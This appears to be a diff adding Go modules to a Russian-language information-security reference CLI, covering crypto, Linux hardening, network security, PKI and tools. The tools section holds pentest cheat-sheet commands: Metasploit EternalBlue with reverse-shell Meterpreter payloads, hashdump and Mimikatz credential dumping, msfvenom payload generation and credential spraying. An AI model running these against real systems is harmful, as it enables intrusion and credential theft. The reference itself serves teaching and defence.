DHE-RSA-AES256-GCM-SHA384 (медленнее)
Шифры без PFS (избегать!):
RSA-AES256-CBC-SHA RSA напрямую для обмена ключами`)
utils.Section("Квантовая криптография и постквантовые алгоритмы")
utils.Code(`Квантовые компьютеры угрожают RSA и ECC (алгоритм Шора).
SHA-256 и AES-256 остаются стойкими (алгоритм Гровера лишь вдвое снижает стойкость).
NIST Post-Quantum Standards (2024):
ML-KEM (CRYSTALS-Kyber) обмен ключами (замена ECDH)
ML-DSA (CRYSTALS-Dilithium) цифровые подписи
SLH-DSA (SPHINCS+) подписи на решётках
Гибридный подход (рекомендуется сейчас):
X25519 + ML-KEM классика + постквантовый (используется в TLS 1.3, Chrome)`)
utils.Footer()
}

View file

@ -0,0 +1,248 @@
package infosecmodules
import (
"rubric/utils"
)
var HardeningModule = Module{
Key: "hardening",
Aliases: []string{"h", "harden", "ужесточение"},
Title: "Linux Hardening",
Description: "Усиление безопасности Linux: SSH, пакеты, аудит, CIS Benchmarks",
Run: showHardening,
}
func showHardening() {
utils.Header("InfoSec — Linux Hardening")
utils.Section("Принципы усиления безопасности")
utils.Code(`1. Минимизация поверхности атаки отключить всё лишнее
2. Минимальные привилегии только нужные права
3. Принцип fail-secure при сбое закрытое состояние
4. Аудит и логирование знать что происходит
5. Обновления патчи уязвимостей
CIS Benchmarks детальные руководства по hardening
https://www.cisecurity.org/cis-benchmarks/
Уровни: Level 1 (базовый), Level 2 (продвинутый)
Инструменты проверки:
Lynis аудит безопасности Linux
OpenSCAP соответствие стандартам (RHEL)
CIS-CAT CIS Benchmarks scanner`)
utils.Section("SSH Hardening")
utils.Code(`# /etc/ssh/sshd_config:
# Основное:
Port 2222 # нестандартный порт (защита от автосканов)
PermitRootLogin no # запретить вход root
PasswordAuthentication no # только ключи
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
# Ограничения:
AllowUsers alice bob # белый список пользователей
AllowGroups sshusers # или группа
MaxAuthTries 3 # попытки аутентификации
LoginGraceTime 30 # секунд на вход
MaxStartups 3:50:10 # ограничить параллельные подключения
ClientAliveInterval 300 # keepalive каждые 5 минут
ClientAliveCountMax 2 # 2 попытки
# Протокол:
Protocol 2 # только SSHv2
HostKeyAlgorithms ssh-ed25519,ecdsa-sha2-nistp521,rsa-sha2-512
KexAlgorithms curve25519-sha256,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com
# Дополнительно:
X11Forwarding no
AllowTcpForwarding no # запретить туннели (если не нужны)
Banner /etc/ssh/banner.txt # показать предупреждение при входе
LogLevel VERBOSE
# Применить:
sshd -t # проверить конфиг
systemctl restart sshd`)
utils.Section("Усиление системы")
utils.Code(`# Обновления:
apt update && apt upgrade -y && apt autoremove -y # Debian
dnf update -y && dnf autoremove -y # RHEL
# Автоматические обновления безопасности:
apt install unattended-upgrades
dpkg-reconfigure unattended-upgrades
# Удалить ненужные пакеты:
apt list --installed | grep -v "essential\|required"
dnf list installed
# Удалить неиспользуемые: apt remove telnet rsh ftp ...
# Отключить ненужные сервисы:
systemctl list-units --type=service --state=active
systemctl disable --now cups avahi-daemon bluetooth
# Временная зона и NTP:
timedatectl set-timezone UTC
timedatectl set-ntp true`)
utils.Section("Сетевое усиление")
utils.Code(`# /etc/sysctl.d/99-hardening.conf:
# Защита от спуфинга:
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# Запретить ICMP redirect:
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
# Запретить source routing:
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
# SYN cookies (защита от SYN flood):
net.ipv4.tcp_syncookies = 1
# Не отвечать на broadcast ping:
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Игнорировать bogus ICMP:
net.ipv4.icmp_ignore_bogus_error_responses = 1
# Логировать martian пакеты:
net.ipv4.conf.all.log_martians = 1
# Запретить IP forwarding (если не роутер):
net.ipv4.ip_forward = 0
net.ipv6.conf.all.forwarding = 0
# Применить:
sysctl -p /etc/sysctl.d/99-hardening.conf`)
utils.Section("Усиление паролей и аутентификации")
utils.Code(`# PAM Pluggable Authentication Modules
# /etc/security/pwquality.conf:
minlen = 14 # минимальная длина
minclass = 4 # классы символов (upper, lower, digit, other)
maxrepeat = 3 # не более 3 одинаковых подряд
dcredit = -1 # хотя бы 1 цифра
ucredit = -1 # хотя бы 1 заглавная
lcredit = -1 # хотя бы 1 строчная
ocredit = -1 # хотя бы 1 спецсимвол
# /etc/security/faillock.conf (блокировка после неудач):
deny = 5 # блокировать после 5 неудачных попыток
unlock_time = 900 # разблокировать через 15 минут
# /etc/login.defs:
PASS_MAX_DAYS 90 # смена пароля каждые 90 дней
PASS_MIN_DAYS 7 # не менять чаще раза в 7 дней
PASS_WARN_AGE 14 # предупреждать за 14 дней
# Применить политику к существующему пользователю:
chage -M 90 -W 14 alice
chage -l alice # просмотр`)
utils.Section("Аудит — auditd")
utils.Code(`auditd система аудита Linux ядра.
Логирует системные вызовы, доступ к файлам, изменения конфигурации.
# Установка:
apt install auditd
systemctl enable --now auditd
# /etc/audit/rules.d/audit.rules:
# Мониторинг изменений аутентификационных файлов:
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
# Мониторинг входов в систему:
-w /var/log/faillog -p wa -k logins
-w /var/log/lastlog -p wa -k logins
# Мониторинг команд с привилегиями:
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_commands
# Мониторинг сетевых соединений:
-a always,exit -F arch=b64 -S connect -k network_connect
# Применить правила без перезапуска:
augenrules --load
# Просмотр логов:
ausearch -k identity -ts recent # события за последнее время
ausearch -k root_commands -ui 0 # команды root
aureport --auth # отчёт по аутентификации
aureport --summary # общий отчёт
aureport --failed # только ошибки`)
utils.Section("Защита файловой системы")
utils.Code(`# /etc/fstab безопасные опции монтирования:
/dev/sda1 / ext4 defaults 0 1
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev 0 0
/dev/sda3 /home ext4 defaults,noexec,nosuid,nodev 0 2
/dev/sda4 /var ext4 defaults,nosuid,nodev 0 2
# noexec нельзя запускать файлы
# nosuid SUID биты игнорируются
# nodev устройства игнорируются
# Поиск файлов с SUID/SGID:
find / -perm /4000 -type f 2>/dev/null # SUID
find / -perm /2000 -type f 2>/dev/null # SGID
# Проверить нужны ли они, убрать ненужные:
chmod u-s /usr/bin/unnecessary
# Файлы без владельца (orphaned):
find / -nouser -o -nogroup 2>/dev/null
# Разрешения на критичные файлы:
chmod 600 /etc/shadow
chmod 644 /etc/passwd
chmod 440 /etc/sudoers
chmod 700 /root
# AIDE мониторинг целостности файлов:
apt install aide
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Проверка (запускать регулярно):
aide --check`)
utils.Section("Lynis — аудит безопасности")
utils.Code(`Lynis инструмент аудита безопасности Linux.
Проверяет более 300 параметров, даёт рекомендации.
# Установка:
apt install lynis
# или из репозитория (актуальная версия):
git clone https://github.com/CISOfy/lynis
cd lynis && ./lynis audit system
# Запуск:
lynis audit system # полный аудит системы
lynis audit system --quick # быстрый
lynis audit system --pentest # более агрессивные проверки
lynis show tests # список всех тестов
# Результаты:
# /var/log/lynis.log детальный лог
# /var/log/lynis-report.dat машиночитаемый отчёт
# Hardening Index: 0-100 (выше = лучше)
# OpenSCAP (RHEL):
dnf install scap-security-guide openscap-scanner
# Проверка по CIS Benchmark:
oscap xccdf eval \
--profile xccdf_org.ssgproject.content_profile_cis \
--results results.xml \
/usr/share/xml/scap/ssg/content/ssg-rhel9-ds.xml`)
utils.Footer()
}

View file

@ -0,0 +1,243 @@
package infosecmodules
import (
"rubric/utils"
)
var NetsecModule = Module{
Key: "netsec",
Aliases: []string{"ns", "network", "сетьбез"},
Title: "Сетевая безопасность",
Description: "Сканирование, анализ трафика, IDS/IPS, VPN, сегментация сети",
Run: showNetsec,
}
func showNetsec() {
utils.Header("InfoSec — Сетевая безопасность")
utils.Section("Сетевая разведка и сканирование")
utils.Code(`# nmap сетевой сканер:
nmap 192.168.1.1 # базовое сканирование
nmap 192.168.1.0/24 # сканировать подсеть
nmap -sV 192.168.1.1 # определить версии сервисов
nmap -sV -sC 192.168.1.1 # + скрипты по умолчанию
nmap -p 22,80,443 192.168.1.1 # конкретные порты
nmap -p 1-1000 192.168.1.1 # диапазон портов
nmap -p- 192.168.1.1 # все 65535 портов
nmap -A 192.168.1.1 # OS, версии, скрипты, traceroute
nmap -O 192.168.1.1 # определить ОС
nmap -sn 192.168.1.0/24 # только ping sweep (без портов)
nmap -sS 192.168.1.1 # SYN scan (stealth, нужен root)
nmap -sU -p 53,161 192.168.1.1 # UDP сканирование
nmap -Pn 192.168.1.1 # не пинговать перед сканом
nmap --script vuln 192.168.1.1 # проверка уязвимостей
nmap -oA results 192.168.1.1 # сохранить в 3 форматах
# masscan очень быстрое сканирование:
masscan -p80,443 192.168.0.0/16 --rate=10000
# rustscan быстрый сканер на Rust:
rustscan -a 192.168.1.1 -- -sV -sC`)
utils.Section("Анализ трафика")
utils.Code(`# tcpdump захват пакетов в CLI:
tcpdump -i eth0 # всё с интерфейса
tcpdump -i eth0 port 80 # только HTTP
tcpdump -i eth0 host 192.168.1.10 # к/от хоста
tcpdump -i eth0 'tcp and port 443' # HTTPS
tcpdump -i eth0 -w capture.pcap # сохранить в файл
tcpdump -r capture.pcap # читать файл
tcpdump -i eth0 -n -A port 80 # без разрешения имён, ASCII
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' # SYN пакеты
# Фильтры BPF (Berkeley Packet Filter):
host 10.0.0.1 # хост
net 192.168.1.0/24 # подсеть
port 22 # порт
tcp / udp / icmp # протокол
src host 10.0.0.1 # только источник
dst port 80 # только назначение
not port 22 # исключить SSH`)
utils.Println(utils.ColorBold + "Wireshark — GUI анализ:" + utils.ColorReset)
utils.Code(`# Фильтры дисплея Wireshark:
ip.addr == 192.168.1.1 # IP
tcp.port == 80 # порт
http # только HTTP
http.request.method == "POST" # POST запросы
tls.handshake # TLS handshake
!(arp or dns) # исключить ARP и DNS
tcp.flags.syn == 1 # SYN пакеты
frame contains "password" # строка в пакете
tcp.analysis.retransmission # ретрансмиссии
# Tshark CLI версия Wireshark:
tshark -i eth0 -f "port 80" -w output.pcap
tshark -r capture.pcap -T fields -e ip.src -e http.host`)
utils.Section("IDS/IPS — системы обнаружения вторжений")
utils.Code(`IDS (Intrusion Detection System) обнаруживает, уведомляет
IPS (Intrusion Prevention System) обнаруживает И блокирует
Типы:
NIDS сетевой (анализирует трафик)
HIDS хостовый (файлы, логи, процессы)
Signature-based сравнение с известными паттернами
Anomaly-based отклонение от нормы (ML)
Snort популярный NIDS/IPS:
snort -i eth0 -c /etc/snort/snort.conf
snort -r capture.pcap -c /etc/snort/snort.conf
# Правило Snort:
alert tcp any any -> $HOME_NET 22 (
msg:"Brute force SSH";
flow:to_server;
threshold:type both, track by_src, count 5, seconds 60;
sid:1000001; rev:1;
)
Suricata современная замена Snort:
Многопоточный, поддерживает Lua-скрипты, YAML-конфиг
OSSEC / Wazuh HIDS:
Анализ логов, мониторинг файловой системы (FIM),
мониторинг реестра Windows, активный ответ`)
utils.Section("Брандмауэры и сегментация")
utils.Code(`Типы файрволов:
Packet Filter фильтрация по IP/порту/протоколу (L3-L4)
Stateful отслеживает состояние соединений
Application (L7) анализирует контент приложений
WAF Web Application Firewall (HTTP/HTTPS)
NGFW Next-Gen FW (IPS + AppID + SSL inspection)
Сегментация сети:
DMZ демилитаризованная зона (веб-серверы, доступные снаружи)
Разделение на VLAN по функции: серверная, управление, пользователи
Micro-segmentation в облаке и K8s (Network Policy)
# iptables (Linux):
# Разрешить входящий SSH:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Разрешить установленные соединения:
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Заблокировать всё остальное входящее:
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Сохранить правила:
iptables-save > /etc/iptables/rules.v4
# nftables (современная замена iptables):
nft add table ip filter
nft add chain ip filter input { type filter hook input priority 0 \; policy drop \; }
nft add rule ip filter input tcp dport 22 accept
nft add rule ip filter input ct state established,related accept
# Kubernetes Network Policy:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all
spec:
podSelector: {}
policyTypes: [Ingress, Egress]
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-api
spec:
podSelector:
matchLabels:
app: api
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- port: 8000`)
utils.Section("VPN — виртуальные частные сети")
utils.Code(`Типы VPN:
Remote Access VPN подключение удалённых пользователей
Site-to-Site VPN соединение офисов
Split Tunneling часть трафика через VPN, остальное напрямую
Протоколы:
WireGuard современный, быстрый, простой (рекомендуется)
OpenVPN популярный, гибкий, на TLS
IPsec стандарт, сложная настройка
L2TP/IPsec устаревает
PPTP СЛОМАН, не использовать
# WireGuard быстрая настройка:
# Установка:
apt install wireguard
# Генерация ключей:
wg genkey | tee privatekey | wg pubkey > publickey
# /etc/wireguard/wg0.conf (сервер):
[Interface]
PrivateKey = <server_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.0.2/32
# /etc/wireguard/wg0.conf (клиент):
[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = <server_public_key>
Endpoint = server_ip:51820
AllowedIPs = 0.0.0.0/0 # весь трафик через VPN
PersistentKeepalive = 25
# Запуск:
wg-quick up wg0
systemctl enable wg-quick@wg0`)
utils.Section("Сетевые атаки и защита")
utils.Code(`ARP Spoofing / MITM:
Атака: отправка ложных ARP-ответов перехват трафика
Защита: Dynamic ARP Inspection (DAI) на коммутаторе
DNS Spoofing / Cache Poisoning:
Атака: подмена DNS-ответов
Защита: DNSSEC, DNS over HTTPS (DoH), DNS over TLS (DoT)
DDoS Distributed Denial of Service:
Volumetric переполнение канала (UDP flood, DNS amplification)
Protocol исчерпание ресурсов (SYN flood, Ping of Death)
Application L7 атаки (HTTP flood, Slowloris)
Защита: CDN (Cloudflare), rate limiting, scrubbing centers
SYN Flood:
Атака: отправка SYN без ACK очередь half-open соединений
Защита: SYN cookies (sysctl net.ipv4.tcp_syncookies=1)
Man-in-the-Middle (MITM):
Перехват и изменение трафика
Защита: TLS с пиннингом сертификата, HSTS, HPKP
Защита от сканирования:
fail2ban блокировка после N неудачных попыток
Port knocking последовательность "стуков" для открытия порта
Honeypots приманки для обнаружения злоумышленников`)
utils.Footer()
}

View file

@ -0,0 +1,230 @@
package infosecmodules
import (
"rubric/utils"
)
var PkiModule = Module{
Key: "pki",
Aliases: []string{"pk", "tls", "ssl", "certs"},
Title: "PKI, TLS и сертификаты",
Description: "PKI, X.509, TLS/SSL, цепочки доверия, Let's Encrypt, управление сертификатами",
Run: showPki,
}
func showPki() {
utils.Header("InfoSec — PKI, TLS и сертификаты")
utils.Section("PKI — инфраструктура открытых ключей")
utils.Code(`PKI (Public Key Infrastructure) система для управления цифровыми сертификатами.
Компоненты:
CA (Certificate Authority) удостоверяющий центр
Root CA корневой CA (самоподписанный, доверяем принудительно)
Intermediate CA промежуточный CA (подписан Root CA)
Certificate сертификат (публичный ключ + метаданные, подписанные CA)
CRL (Certificate Revocation List) список отозванных сертификатов
OCSP (Online Certificate Status Protocol) онлайн-проверка статуса
Цепочка доверия:
Root CA Intermediate CA End-Entity Certificate (ваш сайт)
Браузер доверяет Root CA (встроен в ОС/браузер).
Root CA подписал Intermediate CA.
Intermediate CA подписал ваш сертификат.
Браузер верифицирует всю цепочку.
Публичные CA:
Let's Encrypt бесплатный, автоматический
DigiCert коммерческий
Sectigo коммерческий
GlobalSign коммерческий`)
utils.Section("X.509 сертификат")
utils.Code(`X.509 стандартный формат цифровых сертификатов.
Поля сертификата:
Version версия (обычно 3)
Serial Number уникальный номер
Issuer кто выдал (CA)
Subject для кого (CN, O, OU, C...)
Validity срок действия (Not Before / Not After)
Public Key публичный ключ и алгоритм
Extensions расширения (SANs, Key Usage, EKU...)
Signature подпись CA
Subject Alternative Names (SANs):
Поле для нескольких доменов/IP в одном сертификате.
Обязательно с 2017 года (CN игнорируется браузерами).
Пример: DNS:example.com, DNS:*.example.com, IP:1.2.3.4
Типы сертификатов:
DV (Domain Validation) подтверждает владение доменом
OV (Organization Validation) подтверждает организацию
EV (Extended Validation) расширенная проверка (зелёный замок)
Wildcard *.example.com все субдомены одного уровня
# Просмотр сертификата:
openssl x509 -in cert.pem -text -noout
openssl s_client -connect example.com:443 -showcerts
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates`)
utils.Section("TLS — протокол Transport Layer Security")
utils.Code(`TLS криптографический протокол для защиты соединений.
HTTPS = HTTP + TLS.
История версий:
SSL 2.0 / 3.0 СЛОМАНЫ, не использовать
TLS 1.0 / 1.1 устарели, отключены в браузерах с 2020
TLS 1.2 приемлемо, широко используется
TLS 1.3 текущий стандарт, быстрее и безопаснее
TLS 1.3 улучшения:
- 1-RTT handshake (вместо 2-RTT в 1.2)
- 0-RTT resumption (возможна реплей-атака, осторожно)
- Убраны ненадёжные алгоритмы (RC4, MD5, SHA-1, RSA key exchange)
- PFS обязателен (все cipher suites используют ECDHE)
TLS 1.2 Handshake:
1. ClientHello версии, cipher suites, random
2. ServerHello выбор версии/cipher, сертификат
3. Key Exchange обмен ключами (DHE/ECDHE)
4. Finished проверка, начало передачи данных`)
utils.Println(utils.ColorBold + "Cipher Suites — наборы алгоритмов:" + utils.ColorReset)
utils.Code(`TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
Расшифровка:
TLS протокол
ECDHE обмен ключами (PFS!)
RSA аутентификация сервера
AES_256_GCM шифрование (AEAD)
SHA384 HMAC / PRF
Рекомендованные (TLS 1.2):
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
TLS 1.3 (фиксированный набор):
TLS_AES_256_GCM_SHA384
TLS_AES_128_GCM_SHA256
TLS_CHACHA20_POLY1305_SHA256`)
utils.Section("Управление сертификатами")
utils.Code(`# Генерация CSR (Certificate Signing Request):
# 1. Сгенерировать приватный ключ:
openssl genrsa -out server.key 4096
# или Ed25519:
openssl genpkey -algorithm Ed25519 -out server.key
# 2. Сгенерировать CSR:
openssl req -new -key server.key -out server.csr \
-subj "/CN=example.com/O=MyOrg/C=RU"
# 3. Добавить SAN в CSR:
openssl req -new -key server.key -out server.csr \
-subj "/CN=example.com" \
-addext "subjectAltName=DNS:example.com,DNS:www.example.com,IP:1.2.3.4"
# Самоподписанный сертификат (для тестирования):
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem \
-days 365 -nodes \
-subj "/CN=localhost" \
-addext "subjectAltName=DNS:localhost,IP:127.0.0.1"
# Проверить CSR:
openssl req -text -noout -in server.csr
# Проверить сертификат:
openssl x509 -text -noout -in server.crt
openssl verify -CAfile ca-chain.pem server.crt
# Проверить что ключ соответствует сертификату:
openssl x509 -noout -modulus -in server.crt | md5sum
openssl rsa -noout -modulus -in server.key | md5sum`)
utils.Section("Let's Encrypt и ACME")
utils.Code(`Let's Encrypt бесплатный автоматический CA.
ACME протокол автоматической выдачи сертификатов.
# Certbot (стандартный клиент):
certbot --nginx -d example.com -d www.example.com # Nginx
certbot --apache -d example.com # Apache
certbot certonly --standalone -d example.com # standalone
certbot certonly --dns-cloudflare -d "*.example.com" # wildcard через DNS
# Автоообновление (systemd timer или cron):
certbot renew --dry-run # проверить
# Systemd timer создаётся автоматически certbot-ом
# Файлы сертификата:
/etc/letsencrypt/live/example.com/
cert.pem сертификат домена
chain.pem промежуточные CA
fullchain.pem cert + chain (для nginx/apache)
privkey.pem приватный ключ
# acme.sh альтернативный клиент:
curl https://get.acme.sh | sh
acme.sh --issue -d example.com --webroot /var/www/html
acme.sh --install-cert -d example.com \
--cert-file /etc/nginx/ssl/cert.pem \
--key-file /etc/nginx/ssl/key.pem \
--fullchain-file /etc/nginx/ssl/fullchain.pem \
--reloadcmd "nginx -s reload"`)
utils.Section("Собственный CA (Internal PKI)")
utils.Code(`# Создание Root CA:
mkdir -p ca/{certs,crl,newcerts,private}
chmod 700 ca/private
touch ca/index.txt
echo 1000 > ca/serial
openssl genrsa -aes256 -out ca/private/ca.key 4096
chmod 400 ca/private/ca.key
openssl req -new -x509 -days 3650 -key ca/private/ca.key \
-out ca/certs/ca.crt \
-subj "/C=RU/O=MyOrg/CN=MyOrg Root CA"
# Подпись сертификата своим CA:
openssl x509 -req -in server.csr \
-CA ca/certs/ca.crt -CAkey ca/private/ca.key \
-CAcreateserial -out server.crt \
-days 365 -extensions v3_req
# Распространение Root CA:
# Linux: cp ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates
# Windows: Сертификаты Доверенные корневые центры
# cert-manager (Kubernetes):
# Автоматическое управление сертификатами в K8s
# Поддерживает Let's Encrypt, Vault, собственный CA`)
utils.Section("Проверка TLS конфигурации")
utils.Code(`# SSL Labs онлайн тест:
# https://www.ssllabs.com/ssltest/
# testssl.sh локальный тест:
testssl.sh example.com
testssl.sh --protocols example.com # только протоколы
testssl.sh --cipher-per-proto example.com
# nmap:
nmap --script ssl-enum-ciphers -p 443 example.com
# Проверить с командной строки:
openssl s_client -connect example.com:443 -tls1_2
openssl s_client -connect example.com:443 -tls1_3
curl -vI https://example.com 2>&1 | grep -E "TLS|SSL|cipher"
# Проверить дату истечения:
echo | openssl s_client -connect example.com:443 2>/dev/null \
| openssl x509 -noout -enddate
# Проверить HSTS:
curl -sI https://example.com | grep -i strict`)
utils.Footer()
}

View file

@ -0,0 +1,117 @@
package infosecmodules
import (
"fmt"
"rubric/utils"
"strings"
)
type Module struct {
Key string
Aliases []string
Title string
Description string
Run func()
}
var All = []Module{
BasicsModule,
CryptoModule,
PkiModule,
NetsecModule,
WebModule,
HardeningModule,
AuthnModule,
ToolsModule,
}
func Find(key string) (Module, bool) {
key = strings.ToLower(strings.TrimSpace(key))
for _, m := range All {
if m.Key == key {
return m, true
}
for _, a := range m.Aliases {
if a == key {
return m, true
}
}
}
return Module{}, false
}
func ListModules() {
fmt.Printf("\n%s%sРазделы справочника InfoSec:%s\n\n",
utils.ColorBold, utils.ColorCyan, utils.ColorReset)
for i, m := range All {
fmt.Printf(" %s%d.%s %-14s — %s\n",
utils.ColorDim, i+1, utils.ColorReset,
utils.ColorYellow+utils.ColorBold+m.Key+utils.ColorReset,
m.Title,
)
}
fmt.Println()
}
// Keywords возвращает ключевые слова для поиска по модулю
func Keywords(key string) []string {
kw := map[string][]string{
"basics": {
"CIA", "конфиденциальность", "целостность", "доступность",
"угрозы", "уязвимости", "риски", "STRIDE", "DREAD", "PASTA",
"NIST", "ISO 27001", "CIS", "OWASP", "CVSS", "модель угроз",
"threat modeling", "zero trust", "defence in depth",
},
"crypto": {
"криптография", "шифрование", "encryption", "AES", "RSA", "ECDSA",
"Ed25519", "SHA", "SHA-256", "хэш", "hash", "HMAC", "MAC",
"симметричная", "асимметричная", "GCM", "ChaCha20", "bcrypt",
"Argon2", "соль", "salt", "пароли", "passwords", "PFS",
"Perfect Forward Secrecy", "квантовая", "постквантовая",
},
"pki": {
"PKI", "сертификаты", "certificates", "CA", "TLS", "SSL", "HTTPS",
"X.509", "RSA", "Let's Encrypt", "certbot", "ACME", "OpenSSL",
"CSR", "цепочка доверия", "cipher suite", "handshake", "HSTS",
"SNI", "SAN", "wildcard", "отзыв", "CRL", "OCSP",
},
"netsec": {
"сетевая безопасность", "nmap", "сканирование", "scan", "tcpdump",
"Wireshark", "IDS", "IPS", "Snort", "Suricata", "firewall",
"iptables", "nftables", "VPN", "WireGuard", "OpenVPN", "IPsec",
"DDoS", "MITM", "ARP spoofing", "DNS spoofing", "сегментация",
"VLAN", "DMZ", "masscan", "Network Policy",
},
"web": {
"OWASP", "XSS", "SQL injection", "SQLi", "CSRF", "SSRF", "XXE",
"инъекции", "injection", "Path traversal", "IDOR", "broken access",
"CSP", "Content Security Policy", "WAF", "веб-уязвимости",
"burp suite", "sqlmap", "nikto", "gobuster", "ffuf",
},
"hardening": {
"hardening", "усиление", "SSH", "sshd_config", "auditd", "аудит",
"Lynis", "OpenSCAP", "CIS Benchmarks", "sysctl", "AIDE",
"целостность файлов", "unattended-upgrades", "fail2ban",
"минимальные привилегии", "least privilege",
},
"authn": {
"аутентификация", "авторизация", "MFA", "2FA", "TOTP", "FIDO2",
"WebAuthn", "passkeys", "JWT", "токены", "OAuth2", "OIDC",
"LDAP", "Active Directory", "Kerberos", "RBAC", "ABAC",
"Vault", "HashiCorp", "secrets", "секреты", "пароли",
"bcrypt", "SSO", "Single Sign-On",
},
"tools": {
"nmap", "Metasploit", "Burp Suite", "Wireshark", "Hashcat",
"John the Ripper", "sqlmap", "gobuster", "ffuf", "nikto",
"OSINT", "Shodan", "theHarvester", "subfinder", "amass",
"пентест", "pentest", "CTF", "форензика", "forensics",
"Ghidra", "IDA", "LinPEAS", "WinPEAS", "BloodHound",
"Mimikatz", "Cobalt Strike", "MITRE ATT&CK", "threat hunting",
},
}
if v, ok := kw[key]; ok {
return v
}
return []string{}
}

View file

@ -0,0 +1,284 @@
package infosecmodules
import (
"rubric/utils"
)
var ToolsModule = Module{
Key: "tools",
Aliases: []string{"t", "pentest", "инструменты"},
Title: "Инструменты безопасности",
Description: "nmap, Metasploit, Burp Suite, Wireshark, Hashcat, инструменты OSINT",
Run: showTools,
}
func showTools() {
utils.Header("InfoSec — Инструменты безопасности")
utils.Section("Разведка и OSINT")
utils.Code(`OSINT (Open Source Intelligence) разведка из открытых источников.
# whois информация о домене:
whois example.com
whois 1.2.3.4
# DNS разведка:
dig example.com ANY
dig +short MX example.com
dig +short TXT example.com # SPF, DKIM, DMARC
dig +trace example.com # полный путь разрешения
nslookup example.com 8.8.8.8
# Субдомены:
subfinder -d example.com -o subdomains.txt
amass enum -d example.com
dnsx -l subdomains.txt # проверить живые
# Сертификаты субдомены:
# https://crt.sh/?q=%.example.com
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
jq -r '.[].name_value' | sort -u
# theHarvester email, имена, субдомены:
theHarvester -d example.com -b google,bing,shodan
# Shodan поисковик по устройствам:
# https://www.shodan.io
# CLI: pip install shodan
shodan search "apache country:RU"
shodan host 1.2.3.4
# Google dorks (Google Hacking):
site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com intitle:"index of"
"@example.com" filetype:xls
"password" site:example.com filetype:txt`)
utils.Section("Сканирование и перечисление")
utils.Code(`# nmap (подробнее в InfoSec netsec):
nmap -sV -sC -A -p- target.com -oA full_scan
# gobuster перебор директорий и файлов:
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://target.com -w wordlist.txt -x php,html,js -t 50
gobuster dns -d target.com -w subdomains.txt
# feroxbuster рекурсивный перебор:
feroxbuster -u https://target.com -w wordlist.txt --depth 3
# ffuf быстрый fuzzer:
ffuf -u https://target.com/FUZZ -w wordlist.txt
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt
ffuf -u https://target.com/login -X POST \
-d "user=FUZZ&pass=password" -w usernames.txt
# nikto сканер веб-уязвимостей:
nikto -h https://target.com
nikto -h target.com -port 8443 -ssl
# enum4linux-ng перечисление Windows/Samba:
enum4linux-ng -A target.com
# crackmapexec swiss army knife для AD:
crackmapexec smb 192.168.1.0/24
crackmapexec smb 192.168.1.10 -u users.txt -p passwords.txt`)
utils.Section("Metasploit Framework")
utils.Code(`Metasploit платформа для разработки и запуска эксплойтов.
# Запуск:
msfconsole
msfconsole -q # без баннера
# Основные команды:
search ms17-010 # поиск модуля (EternalBlue)
use exploit/windows/smb/ms17_010_eternalblue
info # информация о модуле
show options # параметры
show payloads # доступные пейлоады
set RHOSTS 192.168.1.10 # цель
set LHOST 192.168.1.20 # наш IP
set payload windows/x64/meterpreter/reverse_tcp
check # проверить уязвимость без эксплуатации
run / exploit # запустить
# Meterpreter расширенный пейлоад:
sysinfo # информация о системе
getuid # текущий пользователь
getsystem # повышение привилегий
hashdump # дамп хэшей паролей
shell # системный shell
upload /path/file C:\\ # загрузить файл
download C:\\file.txt # скачать файл
ps # список процессов
migrate 1234 # мигрировать в процесс
portfwd add -l 3306 -r 127.0.0.1 -p 3306 # port forwarding
load kiwi && creds_all # Mimikatz (дамп credentials)
# msfvenom генератор пейлоадов:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.20 LPORT=4444 -f exe -o payload.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.20 LPORT=4444 -f elf -o payload
# Auxiliary модули:
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/brute/http/http_login`)
utils.Section("Burp Suite — тестирование веб-приложений")
utils.Code(`Burp Suite платформа для ручного и автоматического тестирования веб.
Основные инструменты:
Proxy перехват и изменение HTTP/HTTPS трафика
